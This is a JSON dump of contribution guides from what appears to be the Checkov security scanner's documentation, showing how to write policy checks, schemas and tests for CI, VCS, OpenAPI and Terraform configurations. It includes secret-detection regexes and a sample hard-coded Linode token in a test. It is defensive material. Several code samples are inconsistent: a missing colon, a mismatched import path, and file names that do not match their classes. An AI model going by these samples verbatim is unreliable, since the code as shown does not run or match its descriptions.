    "content": "---\nlayout: default\npublished: true\ntitle: Contribute New Azure Pipelines configuration policy\nnav_order: 5\n---\n\n# Contribute New Azure Pipelines configuration policy\n\nIn this example, we'll add support for a new Azure Pipelines configuration check to validate the usage of a version digest.\n\n## Add a Check\n\nGo to `checkov/azure_pipelines/checks/jobs` and add `ContainerDigest.py`:\n\n```python\nfrom __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ContainerDigest(BaseAzurePipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure container job uses a version digest\"\n        id = \"CKV_AZUREPIPELINES_2\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.SUPPLY_CHAIN,),\n            supported_entities=(\"jobs\", \"stages[].jobs[]\"),\n            block_type=BlockType.ARRAY,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        container = conf.get(\"container\")\n        if container and isinstance(container, str):\n            if \"@\" in container:\n                return CheckResult.PASSED, conf\n\n            return CheckResult.FAILED, conf\n\n        return CheckResult.UNKNOWN, conf\n\n\ncheck = ContainerDigest()\n```\n\n### Adding a Test\n\nCreate a new folder under `tests/azure_pipelines/checks/jobs` with the name of your check `example_ContainerDigest` for adding example configuration files.\nTry to add at least 2 test cases, one passing and one failing. \n\n`azure-pipelines.yml`:\n```yaml\ntrigger:\n- master\n\nresources:\n  repositories:\n  - repository: AzureDevOps\n    type: git\n    endpoint: AzureDevOps\n    name: AzureDevOps/AzureDevOps\n\njobs:\n- job: RunInContainer\n  pool:\n    vmImage: 'ubuntu-18.04'\n\n  container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db\n\n  steps:\n    - script: printenv\n```\n\nLastly add the test file `test_ContainerDigest.py` to scan the example files.\n\n```python\nfrom pathlib import Path\n\nfrom checkov.azure_pipelines.runner import Runner\nfrom checkov.azure_pipelines.checks.job.ContainerDigest import check\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_examples():\n    # given\n    test_files_dir = Path(__file__).parent / \"example_ContainerDigest\"\n\n    # when\n    report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n    # then\n    summary = report.get_summary()\n\n    passing_resources = {\n        f\"{test_files_dir}/azure-pipelines.yml.stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_2[22:31]\",\n    }\n\n    failing_resources = {\n        f\"{test_files_dir}/azure-pipelines.yml.jobs.jobs.CKV_AZUREPIPELINES_2[32:40]\",\n        f\"{test_files_dir}/azure-pipelines.yml.stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_2[14:22]\",\n    }\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert summary[\"passed\"] == len(passing_resources)\n    assert summary[\"failed\"] == len(failing_resources)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_check_resources == passing_resources\n    assert failed_check_resources == failing_resources\n```\n\nSo there you have it! A new check will be scanned once your contribution is merged!\n"
  },
  {
    "path": "docs/6.Contribution/Contribute New Bitbucket Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Contribute New Bitbucket configuration policy\nnav_order: 5\n---\n\n# Contribute New Bitbucket configuration policy\n\nIn this example, we'll add support for a new Bitbucket configuration check.\n\n## Add new API call to fetch data from Bitbucket\n\nWe are going to add a new check that will examine how branch protection rules are configured and validate we enforce protection rules on admin users too.\n\n### Add an API call\n\nFirst, we will validate if the Bitbucket API call that GETs the branch protection current state exists in `checkov/bitbucket/dal.py`.\nIf not it can be added to that file like the following example:\n\n```python\n\nclass Bitbucket(BaseVCSDAL)\n    ...\n    ...\n\n    def get_branch_restrictions(self):\n        if self.current_repository:\n            branch_restrictions = self._request(\n                endpoint=f\"repositories/{self.current_repository}/branch-restrictions\")\n            return branch_restrictions\n        return None\n\n    def persist_branch_restrictions(self):\n        branch_restrictions = self.get_branch_restrictions()\n\n        if branch_restrictions:\n            BaseVCSDAL.persist(path=self.bitbucket_branch_restrictions_file_path, conf=branch_restrictions)\n\n    def persist_all_confs(self):\n        if strtobool(os.getenv(\"CKV_BITBUCKET_CONFIG_FETCH_DATA\", \"True\")):\n            self.persist_branch_restrictions()\n\n```\n\n### Add a Check\n\nGo to `checkov/bitbucket/checks` and add `enforce_branch_protection_on_admins.py`:\n\n```python\nfrom checkov.bitbucket.base_bitbucket_configuration_check import BaseBitbucketCheck\nfrom checkov.bitbucket.schemas.branch_restrictions import schema as branch_restrictions_schema\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.enums import BlockType\n\n\nclass MergeRequestRequiresApproval(BaseBitbucketCheck):\n    def __init__(self):\n        name = \"Merge requests should require at least 2 approvals\"\n        id = \"CKV_BITBUCKET_1\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf):\n        if branch_restrictions_schema.validate(conf):\n            for value in conf.get(\"values\", []):\n                if value.get('kind', '') == 'require_approvals_to_merge':\n                    if value.get('value', 0) >= 2:\n                        return CheckResult.PASSED, conf\n            return CheckResult.FAILED, conf\n\n\ncheck = MergeRequestRequiresApproval()\n\n```\n\nAnd also add the JSON schema to validate the Bitbucket API response `/checkov/bitbucket/schemas/branch_protection.py`:\n\n```python\nfrom checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass BranchRestrictionsSchema(VCSSchema):\n    def __init__(self):\n        schema = \\\n            {\n                \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n                \"type\": \"object\",\n                \"properties\": {\n                    \"pagelen\": {\n                        \"type\": \"integer\"\n                    },\n                    \"values\": {\n                        \"type\": \"array\",\n                        \"items\": [\n                            {\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"users\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"links\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"self\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"href\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"href\"\n                                                ]\n                                            }\n                                        },\n                                        \"required\": [\n                                            \"self\"\n                                        ]\n                                    },\n                                    \"pattern\": {\n                                        \"type\": \"string\"\n                                    },\n\n                                    \"branch_match_kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"groups\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"type\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"id\": {\n                                        \"type\": \"integer\"\n                                    }\n                                },\n                                \"required\": [\n                                    \"kind\",\n                                    \"users\",\n                                    \"links\",\n                                    \"pattern\",\n                                    \"branch_match_kind\",\n                                    \"groups\",\n                                    \"type\",\n                                    \"id\"\n                                ]\n                            },\n                            {\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"users\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"links\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"self\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"href\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"href\"\n                                                ]\n                                            }\n                                        },\n                                        \"required\": [\n                                            \"self\"\n                                        ]\n                                    },\n                                    \"pattern\": {\n                                        \"type\": \"string\"\n                                    },\n\n                                    \"branch_match_kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"groups\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"type\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"id\": {\n                                        \"type\": \"integer\"\n                                    }\n                                },\n                                \"required\": [\n                                    \"kind\",\n                                    \"users\",\n                                    \"links\",\n                                    \"pattern\",\n                                    \"branch_match_kind\",\n                                    \"groups\",\n                                    \"type\",\n                                    \"id\"\n                                ]\n                            },\n                            {\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"users\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"links\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"self\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"href\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"href\"\n                                                ]\n                                            }\n                                        },\n                                        \"required\": [\n                                            \"self\"\n                                        ]\n                                    },\n                                    \"pattern\": {\n                                        \"type\": \"string\"\n                                    },\n\n                                    \"branch_match_kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"groups\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"type\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"id\": {\n                                        \"type\": \"integer\"\n                                    }\n                                },\n                                \"required\": [\n                                    \"kind\",\n                                    \"users\",\n                                    \"links\",\n                                    \"pattern\",\n                                    \"branch_match_kind\",\n                                    \"groups\",\n                                    \"type\",\n                                    \"id\"\n                                ]\n                            }\n                        ]\n                    },\n                    \"page\": {\n                        \"type\": \"integer\"\n                    },\n                    \"size\": {\n                        \"type\": \"integer\"\n                    }\n                },\n                \"required\": [\n                    \"pagelen\",\n                    \"values\",\n                    \"page\",\n                    \"size\"\n                ]\n            }\n        super().__init__(schema=schema)\n\n\nschema = BranchRestrictionsSchema()\n\n```\n\n### Adding a Test\n\nfollow the examples in `tests/bitbucket/test_runner.py` and add a test to the new check\n\nSo there you have it! A new check will be scanned once your contribution is merged!\n"
  },
  {
    "path": "docs/6.Contribution/Contribute New GitHub Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Contribute New GitHub configuration policy\nnav_order: 5\n---\n\n# Contribute New GitHub configuration policy\n\nIn this example, we'll add support for a new GitHub configuration check.\n\n## Add new API call to fetch data from GitHub\n\nWe are going to add a new check that will examine how branch protection rules are configured and validate we enforce protection rules on admin users too.\n\n### Add an API call\n\nFirst, we will validate if the GitHub API call that GETs the branch protection current state exists in `checkov/github/dal.py`.\nIf not it can be added to that file like the following example:\n\n```python\n\nclass GitHub(BaseVCSDAL):\n    ...\n    ...\n    def setup_conf_dir(self) -> None:\n        ...\n        self.github_conf_file_paths = {\n            \"branch_protection_rules\": [Path(self.github_conf_dir_path) / \"branch_protection_rules.json\"],\n            ...\n        }\n        \n    def get_branch_protection_rules(self):\n        if self.current_branch and self.current_repository:\n            branch_protection_rules = self._request(\n                endpoint=\"repos/{}/branches/{}/protection\".format(self.current_repository, self.current_branch))\n            return branch_protection_rules\n        return None\n    \n    def persist_branch_protection_rules(self):\n        data = self.get_branch_protection_rules()\n        if data:\n            BaseVCSDAL.persist(path=self.github_conf_file_paths[\"branch_protection_rules\"][0], conf=data)        \n    \n    def persist_all_confs(self):\n        if strtobool(os.getenv(\"CKV_GITHUB_CONFIG_FETCH_DATA\", \"True\")):\n            self.persist_organization_security()\n            self.persist_branch_protection_rules()\n```\n\n### Add a Check\n\nGo to `checkov/github/checks` and add `enforce_branch_protection_on_admins.py`:\n\n```python\nfrom checkov.github.base_github_branch_security import BranchSecurity\n\n\nclass GithubBranchEnforceAdmins(BranchSecurity):\n    def __init__(self):\n        name = \"Ensure GitHub branch protection rules is enforced on admins\"\n        id = \"CKV_GITHUB_8\"\n        super().__init__(\n            name=name,\n            id=id\n        )\n\n    def get_evaluated_keys(self):\n        return ['enforce_admins/enabled']\n\n\ncheck = GithubBranchEnforceAdmins()\n```\n\nAnd also add the JSON schema to validate the GitHub API response `/checkov/github/schemas/branch_protection.py`:\n\n```python\nfrom checkov.github.schemas.base_schema import GithubConfSchema\n\n\nclass BranchProtectionSchema(GithubConfSchema):\n    def __init__(self):\n        schema = {\n            \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"url\": {\n                    \"type\": \"string\"\n                },\n                \"required_signatures\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"url\": {\n                            \"type\": \"string\"\n                        },\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"url\",\n                        \"enabled\"\n                    ]\n                },\n                \"enforce_admins\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"url\": {\n                            \"type\": \"string\"\n                        },\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"url\",\n                        \"enabled\"\n                    ]\n                },\n                \"required_linear_history\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                },\n                \"allow_force_pushes\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                },\n                \"allow_deletions\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                },\n                \"required_conversation_resolution\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                }\n            },\n            \"required\": [\n                \"url\",\n                \"enforce_admins\",\n                \"required_linear_history\",\n                \"allow_force_pushes\",\n                \"allow_deletions\",\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = BranchProtectionSchema()\n```\n\n### Adding a Test\n\nfollow the examples in `tests/github/test_runner.py` and add a test to the new check\n\nSo there you have it! A new check will be scanned once your contribution is merged!\n"
  },
  {
    "path": "docs/6.Contribution/Contribute New Gitlab Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Contribute New Gitlab configuration policy\nnav_order: 5\n---\n\n# Contribute New Gitlab configuration policy\n\nIn this example, we'll add support for a new Gitlab configuration check.\n\n## Add new API call to fetch data from Gitlab\n\nWe are going to add a new check that will examine how merge requests protection rules are configured and validate we enforce at least 2 approvers.\n\n### Add an API call\n\nFirst, we will validate if the Gitlab API call that GETs the branch protection current state exists in `checkov/gitlab/dal.py`.\nIf not it can be added to that file like the following example:\n\n```python\n\nclass Gitlab(BaseVCSDAL):\n    ...\n    ...\n    def get_project_approvals(self):\n        if self.project_id:\n            project_approvals = self._request(\n                endpoint=f\"projects/{self.project_id}/approvals\")\n            return project_approvals\n        return None\n\n    def persist_project_approvals(self):\n        project_approvals = self.get_project_approvals()\n\n        if project_approvals:\n            BaseVCSDAL.persist(path=self.gitlab_project_approvals_file_path, conf=project_approvals)   \n    \n    def persist_all_confs(self):\n        if strtobool(os.getenv(\"CKV_GITLAB_CONFIG_FETCH_DATA\", \"True\")):\n            self.persist_project_approvals()\n            self.persist_groups()\n\n```\n\n### Add a Check\n\nGo to `checkov/gitlab/checks` and add `enforce_branch_protection_on_admins.py`:\n\n```python\nclass MergeRequestRequiresApproval(BaseGitlabCheck):\n    def __init__(self):\n        name = \"Merge requests should require at least 2 approvals\"\n        id = \"CKV_GITLAB_1\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf):\n        if project_aprovals_schema.validate(conf):\n            if conf.get(\"approvals_before_merge\", 0) < 2:\n                return CheckResult.FAILED, conf\n            return CheckResult.PASSED, conf\n\n\ncheck = MergeRequestRequiresApproval()\n\n```\n\nAnd also add the JSON schema to validate the Gitlab API response `/checkov/gitlab/schemas/project_approvals.py`:\n\n```python\n\nfrom checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass ProjectApprovalsSchema(VCSSchema):\n    def __init__(self):\n        schema = {\n            \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"approvals_before_merge\": {\n                    \"type\": \"integer\"\n                },\n                \"reset_approvals_on_push\": {\n                    \"type\": \"boolean\"\n                },\n                \"disable_overriding_approvers_per_merge_request\": {\n                    \"type\": \"boolean\"\n                },\n                \"merge_requests_author_approval\": {\n                    \"type\": \"boolean\"\n                },\n                \"merge_requests_disable_committers_approval\": {\n                    \"type\": \"boolean\"\n                },\n                \"require_password_to_approve\": {\n                    \"type\": \"boolean\"\n                }\n            },\n            \"required\": [\n                \"approvals_before_merge\",\n                \"reset_approvals_on_push\",\n                \"disable_overriding_approvers_per_merge_request\",\n                \"merge_requests_author_approval\",\n                \"merge_requests_disable_committers_approval\",\n                \"require_password_to_approve\"\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = ProjectApprovalsSchema()\n\n```\n\n### Adding a Test\n\nfollow the examples in `tests/gitlab/test_runner.py` and add a test to the new check\n\nSo there you have it! A new check will be scanned once your contribution is merged!\n"
  },
  {
    "path": "docs/6.Contribution/Contribute New OpenAPI Policies.md",
    "content": "                                                                                     ---\nlayout: default\npublished: true\ntitle: Contribute New OpenAPI configuration policy\nnav_order: 5\n---\n\n# Contribute New OpenAPI configuration policy\n\nIn this example, we'll add support for a new OpenAPI configuration check.\n\n\n### Add a Check\n\nGo to `checkov/openapi/checks/resource`, go to v2|v3|generic according to the OpenAPI version you check and add `GlobalSecurityFieldIsEmpty.py`:\n\nv2 - OpenAPI 2.0.  \nv3 - OpenAPI 3.  \ngeneric - for both OpenAPI 2 and 3.\n\nIn case the check is for OpenAPI version 2.0, use parent class `BaseOpenapiCheckV2` and override check method `scan_openapi_conf`\nIn case the check is for OpenAPI version 3, use parent class `BaseOpenapiCheckV3` and override check method `scan_openapi_conf`\nIn case the check is a generic check for OpenAPI version 2.0 and 3, use parent class `BaseOpenapiCheck` and override check method `scan_entity_conf`\n\n```python\nfrom __future__ import annotations\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck\n\nclass GlobalSecurityFieldIsEmpty(BaseOpenapiCheck):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_4\"\n        name = \"Ensure that the global security field has rules defined\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = ['security']\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_rules = conf.get(\"security\")\n\n        if security_rules:\n            return CheckResult.PASSED, security_rules\n        return CheckResult.FAILED, conf\n\n\ncheck = GlobalSecurityFieldIsEmpty()\n```\n\n### Adding a Test\n\nfollow the examples in `tests/openapi/test_runner.py` and add a test to the new check\n\nSo there you have it! A new check will be scanned once your contribution is merged!\n"
  },
  {
    "path": "docs/6.Contribution/Contribute New Terraform Provider.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Contribute New Terraform Provider\nnav_order: 4\n---\n\n# Contribute New Terraform Provider\n\nIn this example we'll add support for a new Terraform Provider, the Linode Cloud platform.\n\n## Add Resource Checks for a New Provider\n\nThis check is going to examine resources of the type: `linode_instance`, to ensure they have the property `authorised_keys` set.\n\n### Add a Test\n\nFirst create a new folder `tests/terraform/checks/resource/linode/` and add `test_authorised_keys.py` using the code below:\n\n```python\nimport unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.linode.authorized_keys import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAuthorizedKeys(unittest.TestCase):\n    def test_success(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            resource \"linode_instance\" \"test\" {\n                authorized_keys=\"1234355-12345-12-1213123\"\n            }\n            \"\"\"\n        )\n        resource_conf = hcl_res[\"resource\"][0][\"linode_instance\"][\"test\"]\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            resource \"linode_instance\" \"test\" {\n            }\n            \"\"\"\n        )\n        resource_conf = hcl_res[\"resource\"][0][\"linode_instance\"][\"test\"]\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == \"__main__\":\n    unittest.main()\n```\n\nAdd a placeholder file at `tests/terraform/checks/resource/linode/__init__.py`\n\n### Add a Check\n\nCreate the folder `checkov/checkov/terraform/checks/resource/linode` and add `authorized_keys.py`:\n\n```python\nfrom typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\nclass AuthorizedKeys(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure SSH key set in authorized_keys\"\n        id = \"CKV_LIN_2\"\n        supported_resources = (\"linode_instance\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"authorized_keys\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AuthorizedKeys() \n```\n\nAnd also add `checkov/terraform/checks/resource/linode/__init__.py`:\n\n```python\nfrom pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n```\n\n### Include Checks\n\nIn `checkov/terraform/checks/resource/__init__.py`, update include Linode resources with the entry `from checkov.terraform.checks.resource.linode import *`.\nThis will ensure that this and any future Linode resource test are included in Checkov runs:\n\n```python\nfrom checkov.terraform.checks.resource.gcp import *  # noqa\nfrom checkov.terraform.checks.resource.azure import *  # noqa\nfrom checkov.terraform.checks.resource.github import *  # noqa\nfrom checkov.terraform.checks.resource.linode import *   # noqa\n```\n\n## Add New Provider Checks\n\nThis Provider check verifies that the user hasn't added their Linode secret token to their file. Adding the secret token to a Public repository would cause many problems.\n\n### Adding a Test\n\nCreate the folder `tests/terraform/checks/provider/linode/` and `test_credentials.py`\n\n```python\nimport unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.provider.linode.credentials import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCredentials(unittest.TestCase):\n    def test_success(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"linode\" {}\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"linode\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            provider \"linode\" {\n                token = \"c7680462065ee80d0fef2940784b1af6826f6e0b18586194c5f67c4b40fa7f09\"\n            }\n            \"\"\"\n        )\n        provider_conf = hcl_res[\"provider\"][0][\"linode\"]\n        scan_result = check.scan_provider_conf(conf=provider_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```\n\nThen add the placeholder `tests/terraform/checks/provider/linode/__init__.py`\n\n### Add the Provider Check\n\nCreate a directory `checkov/terraform/checks/provider/linode` and add `credentials.py`\n\n```python\nimport re\nfrom typing import Dict, List, Any, Pattern\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\nfrom checkov.common.models.consts import linode_token_pattern\n\n\nclass LinodeCredentials(BaseProviderCheck):\n    def __init__(self):\n        name = \"Ensure no hard coded Linode tokens exist in provider\"\n        id = \"CKV_LIN_1\"\n        supported_provider = (\"linode\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if self.secret_found(conf, \"token\", linode_token_pattern):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    @staticmethod\n    def secret_found(conf: Dict[str, List[Any]], field: str, pattern: Pattern[str]) -> bool:\n        if field in conf.keys():\n            value = conf[field][0]\n            if re.match(pattern, value) is not None:\n                return True\n        return False\n\n\ncheck = LinodeCredentials()\n```\n\nAnd also `checkov/terraform/checks/provider/linode/__init__.py`\n\n```python\nfrom pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n```\n\nUpdate the security constants `checkov/common/models/consts.py` with the new pattern.\n\n```python\nimport re\nSUPPORTED_FILE_EXTENSIONS = [\".tf\", \".yml\", \".yaml\", \".json\", \".template\"]\nANY_VALUE = \"CKV_ANY\"\nDOCKER_IMAGE_REGEX = re.compile(r'(?:[^\\s\\/]+/)?([^\\s:]+):?([^\\s]*)')\naccess_key_pattern = re.compile(r\"(?<![A-Z0-9])[A-Z0-9]{20}(?![A-Z0-9])\") # nosec\nsecret_key_pattern = re.compile(\"(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{40}(?![A-Za-z0-9/+=])\") # nosec\nlinode_token_pattern = re.compile(\"(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{64}(?![A-Za-z0-9/+=])\") # nosec\n```\n\n### Include the Provider Checks\n\nUpdate `checkov/terraform/checks/provider/__init__.py` with `from checkov.terraform.checks.provider.linode import *`, making it:\n\n```python\nfrom checkov.terraform.checks.provider.aws import *  # noqa\nfrom checkov.terraform.checks.provider.linode import *  # noqa\n```\n\nSo there you have it! Two new checks—one for your resource and a newly supported Terraform Provider.\n"
  },
  {
    "path": "docs/6.Contribution/Contribute Python-Based Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Contribute Python-Based Policies\nnav_order: 2\n---\n\n# Contributing Python-based Custom Policies\n\nAfter identifying a Custom Policy's IaC type and provider, place the file with its code in `checkov/<scanner>/checks/<type>/<provider>`, where **type ** is the Custom Policy's type and **provider** is the Custom Policy's provider.\n\nA Custom Policy is a class implementing an abstract base class that corresponds to some provider and type.\n\nFor example, all Custom Policies of **resource** type and **aws **provider implement the resource base class found at `checkov/terraform/checks/resource/base_check.py`. The resource check needs to implement its base abstract method named `scan_resource_conf`, which accepts as an input a dictionary of all the key-valued resource attributes, and outputs a CheckResult.\n\nDefine a policy as described [here](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html).\n\n## Example\n`checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py`\n\n```python\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayCacheEnable(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure API Gateway caching is enabled\"\n        id = \"CKV_AWS_120\"\n        supported_resources = ['aws_api_gateway_stage']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"cache_cluster_enabled\"\n\n\ncheck = APIGatewayCacheEnable()\n```\n\n# Testing\n\nAssuming the implemented check’s class is file is found in checkov/terraform/checks/<type>/<provider> directory, named <ClassName>.py, create an appropriate unit test file in tests/terraform/checks/<type>/<provider> directory, named test_<ClassName>.py.\n\nThe test suite should cover different check results; Test if the check outputs PASSED on a compliant configuration, and test if it output FAILED on a non-compliant configuration. You are also encouraged to test more specific components of the check, according to their complexity.\n\n\n## Example\n\n`tests/terraform/checks/resource/aws/test_APIGatewayCacheEnable.py`\n```python\nimport unittest\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.APIGatewayCacheEnable import check\n\n\nclass TestAPIGatewayCacheEnable(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_api_gateway_rest_api\" \"example\" {                    \n                      name = \"example\"\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_api_gateway_rest_api']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_api_gateway_rest_api\" \"example\" {                    \n                      name                  = \"example\"\n                      cache_cluster_enabled = true\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_api_gateway_rest_api']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n```\n\n"
  },
  {
    "path": "docs/6.Contribution/Contribute YAML-based Policies.md",
